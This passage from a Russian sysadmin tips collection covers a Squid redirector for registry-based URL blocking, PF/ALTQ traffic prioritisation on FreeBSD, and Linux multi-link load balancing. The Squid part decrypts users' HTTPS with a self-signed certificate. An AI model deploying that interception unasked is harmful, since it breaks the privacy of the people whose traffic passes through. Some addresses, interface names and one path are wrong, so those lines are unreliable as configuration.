       my $db_path     = "/var/db/zapret-info/";
       my $block_url   = "http://my.domain/block/";
       my $log_file    = "/var/log/squid/redirector.log";
       
       $0 = 'redirect' ;
       $| = 1 ;
       my @banners ;
       my @X ;
       my $serial      =0;
       
       sub _log {
           my $log_str = shift;
           my $now_str = strftime "%d-%m-%Y %H:%M:%S", localtime;
           printf(FLOG "[%s] %s\\n", $now_str, $log_str);
       }
       
       sub _rule_refresh {
           open(SER ,"${db_path}/serial");
           read(SER,$num,6);
           close(SER);
       
           if (length($num)==0) { $num=0; }
           if ($num > $serial) {
               _log("Reading file ${db_path}/denied.conf serial ${num}");
               open (IN_FILE, "${db_path}/denied.conf") || die $!;
               my @tmp_data = <IN_FILE>;
               chomp @tmp_data;
               @banners=();
               push @banners, map { qr /\\Q$_\\E/ }  grep { ! /^\\s*$/ }       @tmp_data;
               close(IN_FILE);
               $serial=$num;
           }
       }
       
       $SIG{INT} = \\&_rule_refresh;
       open(FLOG, ">>${log_file}");
       $| = 1 ;
       FLOG->autoflush(1);
       _log("Redirector started.");
       
       while (<>) {
           chomp ;
           @X = split ;
           ($url, $who, $ident, $method) = @X ;
           _rule_refresh ;
           $url = $block_url if grep ($url=~/$_/i, @banners) ;
           print "$url $who $ident $method\\n" ;
       }
       
       _log("Redirector exited.");
       close(FLOG);
       exit 0;
    
    
    В начале данного файла мы должны установить значение переменных $db_path,
    $block_url, $log_file в соответствии с Вашими настройками. $db_path содержит
    путь до директории с файлом denied.conf и serial, $block_url должен содержать
    адрес страницы на которую мы перекидываем клиента при блокировании ресурса.
    
    Что бы анализировать HTTPS-трафик, нам нужно сгенерировать самоподписанный сертификат:
    
       cd /usr/local/etc/squid/
       openssl req -new -newkey rsa:1024 -days 365 -nodes -x509 -keyout squid.pem -out squid.pem
    
    Запускаем SQUID. Если все настроено верно, то на CISCO по команде sh ip wccp,
    мы увидим что-то похожее на такое:
    
       #sh ip wccp
       Global WCCP information:
        Router information:
        Router Identifier: 1.1.1.1
        Protocol Version: 2.0
       
       Service Identifier: 0
        Number of Service Group Clients: 1
        Number of Service Group Routers: 1
       ...
        Redirect access-list: WCCP_REDIRECT
       ...
    
       Service Identifier: 70
        Number of Service Group Clients: 1
        Number of Service Group Routers: 1
       ...
        Redirect access-list: WCCP_REDIRECT
       ...
    
    Если соединение WCCP2 установилось, мы может попробовать запустить трафик на
    SQUID. Для этого в ipfw мы должны поставить правила переадресации трафика :
    
       ipfw add 100 fwd 1.1.2.2,3128 tcp from not me to any dst-port 80 via ${wccp_intf} in
       ipfw add 100 fwd 1.1.2.2,3129 tcp from not me to any dst-port 443 via ${wccp_intf} in
    
    (где ${wccp_intf} - интерфейс для обмена wccp-трафиком)
    
    На CISCO запускаем трафик на SQUID :
    
       conf t
       int vlan90
        ip wccp 0 redirect in
        ip wccp 70 redirect in
    
    Для загрузки acl в CISCO поднимаем tftp-сервер, раскомментировав
    соответствующую строку в /etc/inetd.conf и перезапустив inetd . Проверяем
    загрузку правил по rsh, выполнив из консоли сервера :
    
       ( sleep 2 ; echo '' ; sleep 15 ) | rsh -l blocker 1.1.2.1 copy tftp://1.1.2.2/block.acl running-config ;
    
    Проверяем в CISCO что правила загрузились. Если все отлично, создаем скрипт,
    который мы включаем в на выполнение в крон :
    
       #!/bin/sh
       . /var/db/zapret-info/cfg/loader.conf
       /scripts/download.pl
    
       if [ $? -eq 0 ];
       then
        /scripts/xml-parser.pl
       else 
        exit 254 ;
       fi
       if [ $? -eq 0 ];
       then 
        ( sleep 2 ; echo '' ; sleep 15 ) | rsh -l blocker  ${cisco_address} copy tftp://${tftp_address}/block.acl running-config ;
       else 
        exit 253 ;
       fi
       exit 0;
    
    Создадим файл конфигурации скрипта в /var/db/zapret-info/cfg/loader.conf
    
       echo 'cisco_address="1.1.2.1"' > /var/db/zapret-info/cfg/loader.conf
       echo 'tftp_address="1.1.2.2"' >> /var/db/zapret-into/cfg/loader.conf
    
    Если Вы все сделали без ошибок и поняли идею, Вы получили работающий полностью
    в автоматическом режиме сервер фильтрации трафика, синхронизированный с
    реестром Роскомнадзора, фильтрующий ВСЕ (!) ресурсы внесенные в реестр, в том
    числе URI написанные на русском языке и URI на защищенных SSL-ресурсах (для
    пользователя соединение отдаётся с использованием самоподписанного сертификата).
    
     
    ----* Маршрутизатор на базе FreeBSD с приоритизация трафика средствами PF и ALTQ   Автор: artemrts  [комментарии]
     
    Проблема приоритизации трафика, на мой взгляд, весьма актуальна.
    Интернет-канала много не бывает и на всех пользователей и сервисов локальной
    зачастую не хватает. Поэтому для нормальной работы Интернета требуется
    грамотное распределения полосы с учетом потребностей каждого из участников.
    Единственный раз, когда мне не понадобился QoS - это гарантированный
    провайдером канал в 20 Мбит/с в мир и 100Мбит/с - национальный. Но такое
    удовольствие не из дешевых, поэтому зачастую народ довольствуется ADSL-каналом
    с заявленной скоростью к клиенту до 5-10 Мбит/с.
    
    Хочу заметить, что данная статья не предназначенная для новичков в сетевом
    администрировании в целом и в PF в частности. Читателю необходимо иметь
    минимальные навыки работы с сетями (понимать устройство пакета, знать что такое
    ТСР-флаги и т.д.), а также с пакетным фильтром PF. Не лишним будет прочесть
    официальный FAQ и man'ы. В основном цель этой статьи поделиться опытом,
    выслушать замечания и, возможно, улучшить свой вариант.
    
    И так, постановка задачи: организовать доступ к сети Интернет. Грамотно
    распределить как входящий так и исходящий трафик с разделением канала для
    клиентов локальной сети и сервисов, запущенных на самом роутере (например,
    FTP-сервер, SIP-сервер и т.д.). В качестве роутера выступает сервер с ОС
    FreeBSD 9 c пакетным фильром PF.
    Протокол FTP будет использоваться только в пассивном режиме, что немного упростит конфигурацию.
    
    Для решения поставленной задачи необходимо пересобрать ядро и включить в него
    поддержку PF и ALTQ. Для задач, не требующих ALTQ, пересобирать ядро не
    обязательно. Можно просто подгрузить PF как модуль.
    
    Добавляем в файл конфигурации следующие строки и пересобираем ядро. Описывать
    каждую опцию не буду. В man 4 altq все есть.
    
       options HZ=1000
    
       device pf
       device pflog
       options ALTQ
       options ALTQ_CBQ
       options ALTQ_RED
       options ALTQ_RIO
       options ALTQ_HFSC
       options ALTQ_CDNR
       options ALTQ_PRIQ
       #options ALTQ_NOPCC #for SMP CPU
    
    Лично я для боевого сервера пересобираю не только ядро системы, но и мир. Как
    это сделать, хорошо описано в Хендбуке и /usr/src/Makefile.
    
    Для автоматического запуска PF при старте системы добавляем в /etc/rc.conf строки:
    
       pf_enable="YES"
       pflog_enable="YES"
    
    Далее, собственно, сам конфигурационный файл пакетного фильтра. Возьмем самую
    простую реализацию роутера: один внутренний сетевой интерфейс и один внешний.
    Интернет канал подключен через ADSL-модем, работающий в режиме моста, т.е.
    подключение pppoe организовано средствами штатного ppp-клиента.
    
    Скорость от провайдера - 5 Мбит/c, к провайдеру - 850 Кбит/c. 
    На роутере запущен HTTP-прокси для прозрачного перенаправления WWW-трафика
    пользователей сети. Это сделано с целью блокировать метод CONNECT и
    принудительно направить другие виды трафика (например, торрент) в другие
    очереди с другим приоритетом. Я использую легковесный, но "шустрый" 3proxy
    (3proxy.ru). Кому важен кэш - используйте Squid или Apache Traffic Server.
    
    Также перенаправляются все ДНС-запросы на сервер ДНС-провайдера. Это сделано с
    целью блокировки фишинговых и других зловредных сайтов, сайтов для взрослых,
    аплоадеры, соц. сети и т.д. и т.п. Некоторые компании так же предоставляет
    блокировку рекламных баннеров.
    
    Весь исходящий трафик я разбил на следующие очереди:
    
     - ДНС-запросы - очередь u_dns
    
     - ТСР АСК-пакеты - очередь u_ack
    
     - трафик с высоким приоритетом - очередь u_hipri
    
     - трафик с нормальным приоритетом - очередь u_pri
    
     - трафик с низким приоритетом - очередь u_lowpri
    
     - весь остальной трафик - очередь u_other
    
     - стандартная очередь - очередь u_std, одна очередь должна быть с опцией default, в которую попадает трафик, который не попадает ни под какое другое правило. В нашем случае это показатель правильности назначения очередей в правилах фильтрации. В эту очередь ничего не должно попадать.
    
    Аналогичное деление трафика, идущего к клиенту локальной сети, только вместо
    u_* используется d_* обозначение.
    
    Трафик классифицируется как относительно сервиса/протокола (HTTP, FTP, Torrent)
    так и относительно пользователя, т.е. трафик от/к компьютера, например,
    бухгалтера может быть весь помечен как с высоким приоритетом, независимо от
    того Торрент это или FTP.
    Данные, являющиеся ДНС-запросам и ТСР АСК-пакетами, для всех пользователей
    имеют свой высокий неизменный приоритет. Например, весь трафик от/к компьютера,
    относящегося к группе с низким приоритетом, будет обрабатываться с низким
    приоритетом, кроме ДНС и ТСР АСК.
    
    Определяем макросы, что бы меньше текста в основной части конфигурационного файла.
    
       mst="modulate state"
       str="source-track rule"
       ext_if="tun0"
       int_if="rl0"
    
    Таблица, в которую включены компьютеры трафик  к/от которых весь будет
    считаться с высоким приоритетом.
    
       table <pc_hipri> persist {10.11.1.2}
    
    Аналогично для ПК с нормальным приоритетом.
    
       table <pc_pri> persist {10.13.1.2 10.13.1.10 10.13.1.13 10.13.1.14 10.13.1.15}
    
    Таблица с адресами, доступ к которым блокируется.
    
       table <ban> persist file "/etc/pf.ban"
    
    Таблица, с адресами клиентов, которым можно доверять.
    
       table <trust> persist {123.10.456.0/24 193.196.125.0/24}
    
    IP-адрес системного администратора.
    
       table <me> persist {210.211.13.84}
    
    IP-адреса SIP-провайдеров
    
       table <sip_peers> persist {212.15.65.122 75.16.127.118}
    
    Конфигурируем опции пакетного фильтра, изменяющие его поведение. В нашем случае:
    
    - не производится проверка на интерфейсе обратной петли;
    
    - выставляем оптимизацию правил в basic;
    
    - устанавливаем привязку состояний соединения (т.н. стейтов) к каждому интерфейсу;
    
    - устанавливаем максимальное кол-во состояний. Если сетевых интерфейсов большое
    кол-во или большое кол-во клиентов в сети, возможно, потребуется
    скорректировать это значение в большую сторону.
    
       set skip on lo0
       set ruleset-optimization basic
       set state-policy if-bound
       set limit states 20000
    
    Нормализация трафика (т.н. скрабинг). Срабинг позволяет значительно повысить
    безопасность файервола. В нашем случае выполняется нормализация трафика на
    внешнем интерфейсе, генерируется случайная последовательность в поле
    идентификации IP-пакета, устанавливается величина TTL=128, производится
    "дефрагментация" IP-пакетов, а также нормализация TCP соединений.
    
       scrub on $ext_if all random-id no-df min-ttl 128 fragment reassemble reassemble tcp
    
    
    ALTQ.
    
    Приоритизировать будем на всех физических сетевых интерфейсах. На внешнем -
    исходящий трафик, на внутреннем - входящий.
    Выбор дисциплины - очень важный момент. Возможные варианты: priq, cbq, hfsc. 
    
    Я использую hfsc, т.к. важной чертой этого планировщика есть именно
    гарантирование полосы для конкретного пользователя/сервиса. Работа планировщика
    для нашего конкретного случая построена следующим образом: если в описании
    очереди указан дополнительный параметр realtime, то ей будет отдана указанная
    (realtime) полоса независимо ни от чего. Величина трафика свыше realtime будет
    рассчитываться исходя из величины bandwidth. Причем  bandwidth - не абсолютный
    параметр, скорее относительный.
    
    Исходя из величин bandwidth каждой очереди рассчитывается величина трафика
    свыше realtime для каждой очереди пока не будет достигнут параметр upperlimit,
    который жестко ограничивает полосу. Приоритеты в планировщике hfsc не используются.
    
    Помимо всех прочих параметров, hfsc имеет параметр qlimit - кол-во слотов,
    доступных очереди для сохранения исходящих пакетов, когда вся доступная полоса
    исчерпана. И только когда все слоты будут заняты, пакеты будут отбрасываться,
    что заставит клиента снижать скорость. Мы не будем использовать RED или ECN,
    вместо этого увеличим значение qlimit.
    
    Назначаем очередь на внешнем интерфейсе. Величина bandwidth должна быть 96% от
    предоставляемой вышестоящим роутером. Здесь же перечисляем все дочерние очереди.
    
       altq on $ext_if hfsc bandwidth 800Kb queue {u_std,u_ack,u_dns,u_hipri,u_pri,u_lowpri,u_other}
    
    Очередь по-умолчанию. Будет потреблять 25 кбит/с независимо ни от чего.
    Величина bandwidth 1Kb означает, что если канал будет полностью занят любой
    другой очередью или всеми, то очередь u_std практически ничего не получит свыше
    25 кбит/с.
        
       queue u_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
    
    Очередь u_ack - это ТСР АСК-пакеты, которые будут отправляться удаленному хосту
    с которого происходит загрузка по протоколу ТСР. Важно, что бы эти пакеты
    проходили без задержек. Для максимальной скорости от провайдеоа 4 Мбит/с
    требуется гарантированный канал в обратную сторону в размере 125 кбит/с.
        
       queue u_ack bandwidth 1Kb qlimit 200 hfsc (realtime 125Kb)
    
    ДНС-запросы. Гарантированной полосы в 25 кбит/с вполне достаточно. Больше не
    нужно, поэтому bandwidth 1Kb
        
       queue u_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
    
    Очередь с высоким приоритетом
        
       queue u_hipri bandwidth 300Kb qlimit 250 hfsc (realtime 200Kb)
    
    Очередь с обычным приоритетом
    
       queue u_pri bandwidth 300Kb qlimit 400 hfsc (realtime 150Kb)
    
    Очередь с низким приоритетом
    
       queue u_lowpri bandwidth 100Kb qlimit 100 hfsc (realtime 75Kb)
    
    Очередь для всего остального трафика ТСР и UDP.
    
       queue u_other bandwidth 97Kb qlimit 50 hfsc (realtime 25Kb)
    
    Назначаем очереди на внутреннем интерфейсе - приоритизируем входящий трафик.
    Провайдер отдает 5 Мбит/с, поэтому устанавливаем очередь inetq в размере 96%.
    Так же на внутреннем интерфейсе запущен ряд служб, например, локальный FTP,
    поэтому важно "не смешать" локальный трафик с Интернет-трафиком. Так как
    сетевая карточка 100Mbit, то выставляем значение bandwidth в 100Mb. Назначаем
    две очереди: одна - локальный трафик, вторая Интернет-трафик с дочерними очередями.
    
       altq on $int_if hfsc bandwidth 100Mb queue {etherq, inetq}
    
    Очередь для локального трафика. В эту очередь будут попадать все пакеты, идущие
    от внутреннего сетевого интерфейса к пользователям локальной сети. Параметр
    upperlimit определяет максимальное значения для данной очереди. Заметьте, в эту
    очередь не будут попадать ответы, например, от WWW-сервера из сети Интернет.
    Эта очередь исключительно для локального трафика.
    
       queue etherq bandwidth 95Mb hfsc (upperlimit 95Mb)
    
    Очередь для Интернет-трафика. В эту очередь будут попадать пакеты, идущие с
    сети Интернет. Имеет дочерние очереди по аналогии с внешним интерфейсом.
    
       queue inetq bandwidth 4800Kb hfsc (upperlimit 4800Kb) {d_std,d_ack,d_dns,d_hipri,d_pri,d_lowpri,d_other}
       queue d_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
       queue d_ack bandwidth 1Kb qlimit 50 hfsc (realtime 50Kb)
       queue d_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
       queue d_hipri bandwidth 1297Kb qlimit 500 hfsc (realtime 1000Kb)
       queue d_pri bandwidth 2000Kb qlimit 500 hfsc (realtime 2000Kb)
       queue d_lowpri bandwidth 1000Kb qlimit 500 hfsc (realtime 500Kb)
       queue d_other bandwidth 500Kb qlimit 500 hfsc (realtime 240Kb)
    
    Правила трансляции локальных адресов (NAT).
    
    Транслируются адреса, где источник - IP-адрес из любой подсети внутреннего
    интерфейса, а адрес назначения - любой, кроме IP-адресов из всех подсетей,
    подключенных к роутеру. Это могут быть как физические так и VPN-интерфейсы
    (tun, gif).
    ($ext_if) - в круглых скобках, т.к. IP-адрес внешнего интерфейса назначается динамически.
    
    ($int_if:network) и (self) в круглых скобках что бы в выводе pfctl -sn не было
    подстановки реальных адресов и сетей. Это удобно, когда у вас на внутреннем
    интерфейсе несколько алиасов и, соответственно, подсетей (как в моем случае).
    
       nat on $ext_if inet from ($int_if:network) to !(self) -> ($ext_if) port 1024:65535
    
    Пользователей из группы pc_hipri и pc_pri пускаем в обход прокси. Я пускаю их
    напрямую, т.к. эти пользователи не нуждаются в контроле, а также специфическое
    ПО не работает в режиме прозрачного проксирования.
    
       no rdr on $int_if inet proto tcp from {<pc_hipri> <pc_pri>} to !(self) port 80
    
    Правило редиректа, перенаправляющие все ДНС-запросы локальных пользователей на
    внешний ДНС-сервер. Это может быть Google или, лучше, ДНС-сервер компании,
    предоставляющей фильтрацию трафика посредством ДНС.
    
       rdr on $int_if inet proto {tcp udp} from ($int_if:network) to !(self) port 53 -> 193.58.251.251 port 53
    
    Редирект на прокси-сервер.
    
       rdr on $int_if inet proto tcp from ($int_if:network) to !(self) port 80 -> 127.0.0.1 port 31280
    
    Редирект на удаленный рабочий стол виндовой машины в локальной сети из сети Интернет.
    
       rdr on $ext_if inet proto tcp from any to ($ext_if) port 3389 -> 10.11.1.2 port 3389
    
    Правила фильтрации трафика. Правила будем группировать в такой
    последовательности: действие, интерфейс, направление, протокол, адрес
    источника, порт источника, адрес назначения, порт назначения.
    
    Антиспуфинг.
    
       antispoof quick for {$int_if lo0} inet
    
    Блокируем не маршрутизируемые адреса.
    
       block in quick inet from no-route to any
    
    Блокируем броадкасты.
    
       block in quick on $ext_if inet from any to 255.255.255.255
    
    Блокируем IP-адреса, содержащиеся в таблице ban. Опция return возвращает TCP
    RST, что закрывает сразу соединение без таймаута. Полезно, когда блокируются
    адреса рекламных сетей, что позволяет браузеру нормально загружать странички
    без ожидания загрузки блокируемого контента.
    
       block return out quick on $ext_if inet from any to <ban>
    
    Эти 2 правила определяют тип файервола: запрещено все, кроме явно разрешенного.
    
       block in all
       block out all
    
    Собственно разрешающие правила. 
    Расположены в определенной последовательности, что важно с точки зрения
    производительности, а также ожидаемого эффекта.
    
    Внутренний интерфейс.
    Разрешаем ТСР-пакеты к интерфейсу обратной петли, на котором "слушает" прокси-
    сервер для организации прозрачного проксирования. Назначаем очереди. Мы не
    можем приоритизировать входящий трафик, только исходящий. В d_pri будут
    попадать пакеты, которые являются ответом от сервера к клиенту, таким образом
    мы регулируем скорость скачивания.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_pri, d_ack)
    
    Далее 3 правила, которые разрешают ТСР соединения на определенные порты на не
    локальные IP-адреса. Назначаются соответствующие очереди. Тегирование
    необходимо что бы потом на внешнем интерфейсе мы могли "отделить" его от
    остального трафика и направить в нужную очередь. Заметьте, опция quick не
    используется, поэтому эти правила нужно расположить в правильной
    последовательности: от менее ограничивающего к более, потому как без опции
    quick последнее совпавшее правило выигрывает, а не первое совпавшее.
    
    Опция quick не используется т.к. при совпадении пакет будет назначен в очередь
    и пропущен и не дойдет до тех правил, которые описывают разрешения и
    приоритеты, основанные не на протоколах, а на адресах источника/назначения (в
    нашем случае это компьютеры из группы pc_hipri и pc_pri). Т.к. протокол ТСР, то
    так же добавляем очередь для ТСР АСК-пакетов. В качестве адреса назначения в
    правилах фигурирует !(self:network). Это значит, что только пакеты, не
    предназначенные ни к одному IP-адресу сетевых интерфейсов или IP-адресу из
    подсетей, подключенных к роутеру, будут разрешаться и, соответственно,
    тегироваться. Это, например, не даст подключиться к внешнему IP из локальной сети.
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		$mst queue (d_other d_ack) tag INET_OTHER
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {20 21 25 110 143 5190 8080 081} $mst queue (d_lowpri d_ack) tag INET_LOWPRI
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 443 $mst queue (d_pri d_ack) tag INET_PRI
    
    Далее 2 правила, которые будут срабатывать как для всех пользователей так и для
    тех, кто принадлежит к т.н. VIP-группе (pc_hipri и pc_pri). Поэтому тут
    используем опцию quick.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {22 3389} $mst queue (d_hipri d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 53 $mst queue (d_dns d_ack) tag INET_DNS
    
    Следующие 2 правила, по-аналогии с TCP, описывают разрешения и очереди для
    протокола UDP. Так же их тегируем. Второе правило с опцией quick, т.к. оно
    должно срабатывать для всех категорий пользователей.
    
       pass in log on $int_if inet proto udp from ($int_if:network) to !(self:network) queue d_other tag INET_OTHER
    
       pass in log quick on $int_if inet proto udp from ($int_if:network) to !(self:network) \\
    		port {53 123} queue d_dns tag INET_DNS
    
    Правило, разрешающее ICMP.
    
       pass in log on $int_if inet proto icmp from ($int_if:network) to !(self:network) queue d_lowpri tag INET_LOWPRI
    
    Следующие правила, разрешающие трафик от клиентов, с высоким и нормальным
    приоритетом. Весь трафик будет считаться очень высоким (hipri) или высоким
    (pri) приоритетом (кроме ДНС и ТСР АСК). Здесь мы не указываем протокол, но
    указываем modulate state, который применяется только для ТСР. Это не будет
    ошибкой, PF достаточно "умный" и он подставит modulate state для протокола ТСР,
    и keep state - для всех остальных протоколов.
    
       pass in log quick on $int_if inet from <pc_hipri> to !(self:network) $mst queue (d_hipri, d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet from <pc_pri> to !(self:network) $mst queue (d_pri, d_ack) tag INET_PRI
    
    Разрешаем локальный Ethernet к внутреннему интерфейсу роутера.
    
       pass in quick on $int_if inet from ($int_if:network) to ($int_if) queue etherq
    
    Теперь опишем разрешающие правила с внутреннего интерфейса роутера в локальную
    сеть. Если у вас нет редиректа с Интернета в локальную сеть или нет никаких
    серверов/клиентов, запущенных на самом роутере и требующих доступ в локальную
    сеть, то эти правила можно не добавлять.
    Первое правило разрешает трафик с Интернета к указанному IP в локальной сети и
    назначает очень высокий приоритет входящего трафика. Это третье правило (первое
    - rdr, второе - разрешающее на внешнем интерфейсе) для редиректа (проброса)
    порта в локальную сеть.
    
       pass out quick on $int_if inet proto tcp from !(self) to 10.11.1.2 port 3389 queue (d_hipri d_ack)
    
    Правило, разрешающее трафик от внутреннего сетевого интерфейса роутера в
    локальную сеть. Не важно какой протокол. Весь направляется в очередь etherq.
    
       pass out quick on $int_if inet from ($int_if) to ($int_if:network) queue etherq
    
    
    Внешний интерфейс. Разрешающие правила для входящего трафика. Важно, для
    каждого входящего правило указывать максимальное кол-во стейтов, которые может
    создать правило. Это предотвратит исчерпывания всего лимита стейтов одним
    правилом в случае DoS атаки.
    Последующие 6 правил разрешают входящие ТСР-подключения к определенным портам
    роутера, а также назначаются соответствующие очереди. Эти очереди будут
    приоритизировать не входящий трафик, а исходящий. Так же стоит обратить
    внимание на первые два правила, которые разрешают доступ к FTP серверу на
    роутере. Передача команд по 21-му порту будет направляться в очередь с большим
    приоритетом (u_pri), а данные - с меньшим (u_lowpri).
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port 21 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port >=49152 $mst (max 100) queue (u_lowpri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 22 $mst (max 10) queue (u_hipri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 80 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 5900 $mst (max 10) queue (u_hipri u_ack)
    
    Правило, разрешающее входящее подключение с сети Интернет (конкретно с адреса
    администратора), но не к интерфейсам роутера (внешнему в том числе), а к
    компьютеру в локальной сети к порту RDP.
    
       pass in quick on $ext_if inet proto tcp from <me> to !(self) port 3389 $mst (max 10) queue (u_hipri u_ack)
    
    Следующее правило разрешает подключение с любого адреса сети Интернет к
    VNC-репитеру. В целях безопасности включен трекинг источника (source-track).
    
       pass in quick on $ext_if inet proto tcp from any to ($ext_if) port 5500 $mst \\
    		(max 10,$str, max-src-nodes 2, max-src-states 3, max-src-conn-rate 3/60) \\
    		queue (u_hipri u_ack)
    
    
    Следующие 2 правила разрешают подключения к определенным портам по протоколу UDP.
    
       pass in quick on $ext_if inet proto udp from any to ($ext_if) port 1194 (max 20) queue u_pri
    
       pass in quick on $ext_if inet proto udp from <sip_peers> to ($ext_if) port 5060 (max 20) queue u_hipri
    
    Разрешаем пинг к внешнему интерфейсу.
    
       pass in quick on $ext_if inet proto icmp from any to ($ext_if) icmp-type echoreq (max 100) queue u_other
    
    Внешний интерфейс. Разрешающие правила для исходящего трафика.
    Следующие 5 правил разрешают исходящий трафик с внешнего интерфейса, который
    был помечен на внутреннем интерфейсе. Это исключительно данные, которые
    передаются в сеть Интернет от клиентов в локальной сети.
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_dns u_ack) tagged INET_DNS
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_hipri u_ack) tagged INET_HIPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_pri u_ack) tagged INET_PRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_lowpri u_ack) tagged INET_LOWPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_other u_ack) tagged INET_OTHER
    
    И последние правила, разрешающие исходящие соединения с внешнего интерфейса.
    Это будет трафик непосредственно самого роутера. В целом приоритет этого
    трафика выше чем от клиентов в локальной сети.
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any port 53 $mst queue (u_dns u_ack)
    		
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any port {53 123} queue u_dns
    	
       pass out quick on $ext_if inet proto udp from ($ext_if) to <sip_peers> port 5060 queue u_hipri
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any queue u_pri
    
       pass out quick on $ext_if inet proto icmp from ($ext_if) to any $mst queue u_lowpri
    
    Есть один важный момент, на котором остановлюсь подробнее. Второе правило будет
    разрешать ТСР-соединения с роутера и в том числе на 80 порт. Под это правило
    так же подпадают пакеты, отправленные с прокси-сервера, трафик, который
    фактически является HTTP-трафиком  клиентов из локальной сети. Т.к. в нашем
    случае приоритеты этих видов трафика равны (очередь u_pri), то все хорошо. Но
    если планируется назначить очереди разные (например, HTTP от локальных клиентов
    - очередь u_lowpri, а с внешнего интерфейса роутера - u_pri), тогда следует
    указать в правиле для прокси-сервера опцию user uid и поместить его над
    правилом для внешнего интерфейса роутера. Например, прокси запущен с правами
    пользователя nobody:
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any user nobody $mst queue (u_lowpri u_ack)
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
    Соответственно, правило, разрешающее доступ к прокси из локалной сети тоже
    немного измениться: необходимо поменять очередь с d_pri на d_lowpri.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_lowpri, d_ack)
    
    Стоить отметить о наличии бага, который проявляется при использованием опции
    user. Об этом описано в секции BUGS на странице руководства pf.conf. Лично у
    меня этот баг не проявлялся. Все же старайтесь опцию user не использовать.
    
    Отладка. Отличительной способностью PF есть его протоколирование, статистика и
    мониторинг состояния в реальном времени что значительно облегчает
    конфигурирование файервола, особенно для сложных сетевых топологий.
     
    Просмотр загруженных очередей:
    
       pfctl -sq
    
    Что бы в реальном времени наблюдать загрузку очередей выполните команду:
    
       pfctl -vvsq
    
    Так же рекомендую установить из портов программу pftop, которая по аналогии с
    утилитой top выводит различную статистику PF в реальном времени.
    
     
    ----* Балансировка трафика в Linux (доп. ссылка 1)   Автор: mirage  [комментарии]
     
    Данная схема отслеживает новые соединения и равномерно распределяет их по каналам.
    
    Допустим есть 4 канала в интернет:
       Linux Router           ISP
      |ppp0 10.0.0.1|-----|10.0.0.2|
      |ppp1 10.0.0.3|-----|10.0.0.3|
      |ppp2 10.0.0.5|-----|10.0.0.4|
      |ppp3 10.0.0.7|-----|10.0.0.5|
     
    
    Добавляем в файл /etc/iproute2/rt_tables таблицы:
    
       108   sat2
       109   sat3
       110   sat4
    
    
    Настраиваем маршруты (раскидываем трафик по таблицам в зависимости от nfmark):
    
       ip rule add prio 50 fwmark 1 table sat2
       ip rule add prio 51 fwmark 2 table sat3
       ip rule add prio 52 fwmark 3 table sat4
    
       ip route add default via 10.0.0.2 dev ppp0
    
       ip rule add prio 210 from 10.0.0.3 table sat2
       ip route add default via 10.0.0.4 dev ppp1 table sat2
    
       ip rule add prio 211 from 10.0.0.5 table sat3
       ip route add default via 10.0.0.6 dev ppp3 table sat3
    
       ip rule add prio 212 from 10.0.0.7 table sat4
       ip route add default via 10.0.0.8 dev ppp4 table sat4
    
    
    Деление по таблицам осуществляется iptables:
    
       iptables -t mangle -N NEW_OUT_CONN
    
       # Выбираем новые сессии
       iptables -t mangle -A PREROUTING -s 10.0.0.0/16 -m state --state NEW,RELATED -j NEW_OUT_CONN
    
       # Восстанавливает значение nfmark из CONNMARK
       iptables -t mangle -A PREROUTING -s 10.0.0.0/16 -j CONNMARK --restore-mark
    
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 0
    
        # Каждый четвертый пакет
       iptables -t mangle -A NEW_OUT_CONN -m statistic --mode nth --every 4 -j RETURN
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 1
    
       # Каждый третий пакет
       iptables -t mangle -A NEW_OUT_CONN -m statistic --mode nth --every 3 -j RETURN  
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 2
       
       # Каждый второй пакет
       iptables -t mangle -A NEW_OUT_CONN -m statistic --mode nth --every 2 -j RETURN
       iptables -t mangle -A NEW_OUT_CONN -j CONNMARK --set-mark 3
    
    
    Модуль CONNMARK отслеживает метки для всех пакетов сессии, это значит, что если
    пометить пакет в сессии, то все пакеты принадлежащие ей будут иметь эту же
    метку. --restore-mark копирует метку в метку пакета 'nfmark'. По которой пакет
    попадает в соответствующую таблицу, и подвергается маршрутизации.
    
    -m statistic --mode nth --every N соответствует каждому N-нному пакету.
    
     
    ----* Распределение трафика между двумя каналами во FreeBSD (доп. ссылка 1)   Автор: pehlle  [комментарии]
     
    Во FreeBSD 7 появилась возможность задания множественных таблиц маршрутизаций.
    В ядре отвечает за это опция:
    
        options ROUTETABLES=[количество таблиц]
    
